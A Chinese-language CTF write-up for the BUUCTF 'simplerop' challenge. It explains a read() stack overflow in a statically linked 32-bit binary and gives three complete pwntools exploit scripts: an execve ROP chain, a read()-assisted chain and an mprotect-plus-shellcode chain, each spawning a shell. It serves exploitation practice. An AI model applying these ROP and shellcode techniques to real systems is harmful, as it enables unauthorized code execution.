文件信息

该样本是我在做BUUCTF上的题刷到的，该题目本身漏洞明显，利用起来也不算太难，不过在我查阅一下他人的wp后发现了多种解法，在这里做个记录和总结。样本链接：simplerop
老规矩先来检查一下文件的信息，32位小端程序，且只开启了NX保护。
checksec

漏洞定位

程序本身采用的是静态链接，所以用IDA进行分析的时候会发现.text段中的函数特别多，当然这本身也是为了配合题目给出的提示方便我们利用这么多的gadgets构造ROP链。
file
然后我们在IDA中定位到main函数，可以发现程序十分简单，read函数造成了栈溢出，而且提示到位使用ROP进行漏洞利用。
main

利用分析

由于漏洞比较明显，没有后门函数可以利用，且并没有暴露出system函数，加上题目的提示，所以这里采用构造ROP链的方式进行攻击。构造ROP链进行攻击时，可以采取泄露出libc地址，ret2libc的方式，这里我并没有使用这种方式，而是使用了其它三种方法，有兴趣的读者可以再试试ret2libc的方法。

wp

第一种方法：
ROP链实现execve系统调用，这里我们可以借助ROPgadget工具自动生成ropchain，命令行如下：ROPgadget --binary simplerop --ropchain，不过该方法生成的ropchain太长，read函数有限制无法全部读取，所以需要对生成的ropchain链进行改造。具体wp如下：

from pwn import *io = process("./simplerop")
# remote环境可以在BUUCTF上找到
# io = remote("node3.buuoj.cn", 27111)from struct import pack# Padding goes here
p = cyclic(0x14+0x4+0x8)     # 动态调试得到，IDA显示的不对
p += pack(b'<I', 0x0806e82a) # pop edx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e82a) # pop edx ; ret
p += pack(b'<I', 0x080ea064) # @ .data + 4
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80print(len(p))
io.send(p)
io.interactive()

第二种方法：
在构造ropchain链实现execve系统调用时，最难的是ebx的参数，因为该参数需要的是“/bin/sh\x00"的地址，且只构造"sh\x00"是不行的（但system(“sh\x00”)是可以的）。所以在构造ropchain链实现execve系统调用时，解决好ebx的参数就能解决大问题。下面的这种方法就是利用了read函数将"/bin/sh\x00"地址读取到固定地址，方便我们给ebx传递参数。

from pwn import *io = process("./simplerop")read = 0x0806CD50
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
int_0x80 = 0x080493e1
sh = 0x080EC304pad = cyclic(0x14+0xc)
# overwrite ret addr to read --> read(0, sh, 8)
# overwrite read's ret addr to p32(pop_edx_ecx_ebx)
pad += p32(read)+p32(pop_edx_ecx_ebx)
# use p32(pop_edx_ecx_ebx) to clear stack data, 
# then edx will be 0, ecx will be sh, ebx will be 8, and then ret
pad += p32(0)+p32(sh)+p32(8)
# use p32(pop_edx_ecx_ebx) to recv stack data,
# then edx will be 0, ecx will be 0, ebx will be sh, and then ret
pad += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh)
# eax will be 0xb, then ret to syscall --> getshell
pad += p32(pop_eax)+p32(0xb)+p32(int_0x80)print(len(pad))
io.send(pad)
io.send(b"/bin/sh\x00")
io.interactive()

第三种方法：
上面介绍到的两种方法都是实现execve系统调用来获取到shell的，那么最简单的实现execve系统调用的方式就是利用shellcode。不过该样本开启了NX保护，所以无法直接使用shellcode，那么就需要利用mprotect函数开辟出一个可写可执行的内存区域。mprotect函数原型如下：int mprotect(const void *start, size_t len, int prot);，第一个是开辟的地址起始位置，需要和内存页对齐，也就是能被0x1000整除；第二参数也需要是内存页的整数倍；第三个是开辟的内存属性，7代表可读可写可执行。

from pwn import *io = process("./simplerop")pro = ELF("./simplerop")
mprotect = pro.symbols["mprotect"]
print(" ===> ", hex(mprotect))
read = pro.symbols["read"]
print(" ===> ", hex(read))context(os="linux", arch="i386")
code = asm(shellcraft.sh())code_addr = 0x80e9000
pop_edx_ecx_ebx = 0x0806e850
pad = cyclic(0x14+0xc)
# overwrite ret addr to mprotect --> mprotect(code_addr, 0x1000, 7)
# overwrite mprotect's ret addr to p32(pop_edx_ecx_ebx)
pad += p32(mprotect)+p32(pop_edx_ecx_ebx)
# use p32(pop_edx_ecx_ebx) to clear stack data, 
# then edx will be code_addr, ecx will be 0x1000, ebx will be 7, and then ret
pad += p32(code_addr)+p32(0x1000)+p32(7)
# use read to recv code --> read(0, code_addr, len(code))
# p32(pop_edx_ecx_ebx) in read ret addr, use it to clear stack data, and then ret
pad += p32(read)+p32(pop_edx_ecx_ebx)
pad += p32(0)+p32(code_addr)+p32(len(code))
# ret to code_addr --> getshell
pad += p32(code_addr)print(len(pad))
io.send(pad)
io.send(code)
io.interactive()